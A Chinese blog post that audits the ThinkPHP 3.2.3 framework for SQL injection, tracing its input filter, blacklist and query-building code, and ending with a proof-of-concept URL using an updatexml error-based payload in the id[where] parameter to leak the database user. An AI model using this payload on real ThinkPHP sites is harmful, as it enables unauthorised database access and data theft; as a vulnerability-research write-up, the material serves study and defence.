• 代码审计-thinkphp3.2.3框架漏洞sql注入


    开始复现审计一下tp3和tp5的框架漏洞,当个练习吧。

    涉及注入的方法为where() table() delete()等。

    环境 tp3.2.3 :

    0x01 注入成因

    测试代码:

        public function index2(){
    //        $data = M('user')-> where('username = "admin"')->select();
    //        dump($data);
            $id = i('id');
            $res = M('user')->find($id);

    I方法断点 跟进去看。

    F7跟进, thinkphp/ThinkPHP/Common/functions.php :

    从283行开始看 首先判断提交方式:

    ......
    switch(strtolower($method)) {
            case 'get'     :   
                $input =& $_GET;
                break;
            case 'post'    :   
                $input =& $_POST;
                break;
            case 'put'     :   
                if(is_null($_PUT)){
                    parse_str(file_get_contents('php://input'), $_PUT);
                }
                $input     =    $_PUT;        
                break;
            case 'param'   :
                switch($_SERVER['REQUEST_METHOD']) {
                    case 'POST':
                        $input  =  $_POST;
                        break;
                    case 'PUT':
                        if(is_null($_PUT)){
                            parse_str(file_get_contents('php://input'), $_PUT);
                        }
                        $input     =    $_PUT;
                        break;
                    default:
                        $input  =  $_GET;
                }
                break;
            case 'path'    :   
                $input  =   array();
                if(!empty($_SERVER['PATH_INFO'])){
                    $depr   =   C('URL_PATHINFO_DEPR');
                    $input  =   explode($depr,trim($_SERVER['PATH_INFO'],$depr));            
                }
                break;
            case 'request' :   
                $input =& $_REQUEST;   
                break;
            case 'session' :   
                $input =& $_SESSION;   
                break;
            case 'cookie'  :   
                $input =& $_COOKIE;    
                break;
            case 'server'  :   
                $input =& $_SERVER;    
                break;
            case 'globals' :   
                $input =& $GLOBALS;    
                break;
            case 'data'    :   
                $input =& $datas;      
                break;
            default:
                return null;
        }

    重点看过滤的地方

    think_filter:

    function think_filter(&$value){
    // TODO 其他安全过滤
    
    // 过滤查询特殊字符
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        $value .= ' ';
    }
    }

    这里基本就是成因了 黑名单过滤 但是有漏网之鱼 常见的updataxml()报错函数都没过滤。

    跟到后面在函数 parseSet可以看到我们提交的字符串作为占位符:

    protected function parseSet($data) {
            foreach ($data as $key=>$val){
                if(is_array($val) && 'exp' == $val[0]){
                    $set[]  =   $this->parseKey($key).'='.$val[1];
                }elseif(is_null($val)){
                    $set[]  =   $this->parseKey($key).'=NULL';
                }elseif(is_scalar($val)) {// 过滤非标量数据
                    if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){
                        $set[]  =   $this->parseKey($key).'='.$this->escapeString($val);
                    }else{
                        $name   =   count($this->bind);
                        $set[]  =   $this->parseKey($key).'=:'.$name;
                        $this->bindParam($name,$val);
                    }
                }
            }
            return ' SET '.implode(',',$set);
        }

    _parseOptions方法:

    if (is_array($options)) { //当$options为数组的时候与$this->options数组进行整合
                $options = array_merge($this->options, $options);
            }
     
            if (!isset($options['table'])) {//判断是否设置了table 没设置进这里
                // 自动获取表名
                $options['table'] = $this->getTableName();
                $fields           = $this->fields;
            } else {
                // 指定数据表 则重新获取字段列表 但不支持类型检测
                $fields = $this->getDbFields(); //设置了进这里
            }
     
            // 数据表别名
            if (!empty($options['alias'])) {//判断是否设置了数据表别名
                $options['table'] .= ' ' . $options['alias']; //注意这里,直接拼接了
            }
            // 记录操作的模型名称
            $options['model'] = $this->name;
     
            // 字段类型验证
            if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //让$optison['where']不为数组或没有设置不进这里
                // 对数组查询条件进行字段类型检查
               ......
            }
            // 查询过后清空sql表达式组装 避免影响下次查询
            $this->options = array();
            // 表达式过滤
            $this->_options_filter($options);
            return $options;
    当我们传入的值不为数组,直接进行解析返回带进查询,没有任何过滤。
    
    同时$options['where']也一样,看到parseWhere函数
    $whereStr = '';
            if (is_string($where)) {
                // 直接使用字符串条件
                $whereStr = $where; //直接返回了,没有任何过滤
            } else {
                // 使用数组表达式
               ......
            }

     

    0x02 复现利用

    http://www.qing-tp3.com/index.php?m=Home&c=Index&a=index2&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- 

    跟到最后的时候还是有点小绕 delet那些方法产生注入大同小异 回来再写 上班~

     
  • 相关阅读:
    最新闲鱼数据采集软件【2020年4月更新】
    拼多多改价精灵
    idhttp采集时遇到乱码问题解决
    拼多多店铺采集如何采集?【爬虫技术】
    【原创最新2018】淘宝如何获取别人店铺宝贝的上下架时间?
    android.support.v4.app.NotificationCompat引用包
    Delphi 7启动后提示Unable to rename delphi32.dro的解决办法
    NOIP 膜你题 DAY2
    NIOP 膜你题
    一个hin秀的小学三年级奥数题 [hin秀]
  • 原文地址:https://www.cnblogs.com/-qing-/p/11444871.html
Copyright © 2020-2023  润新知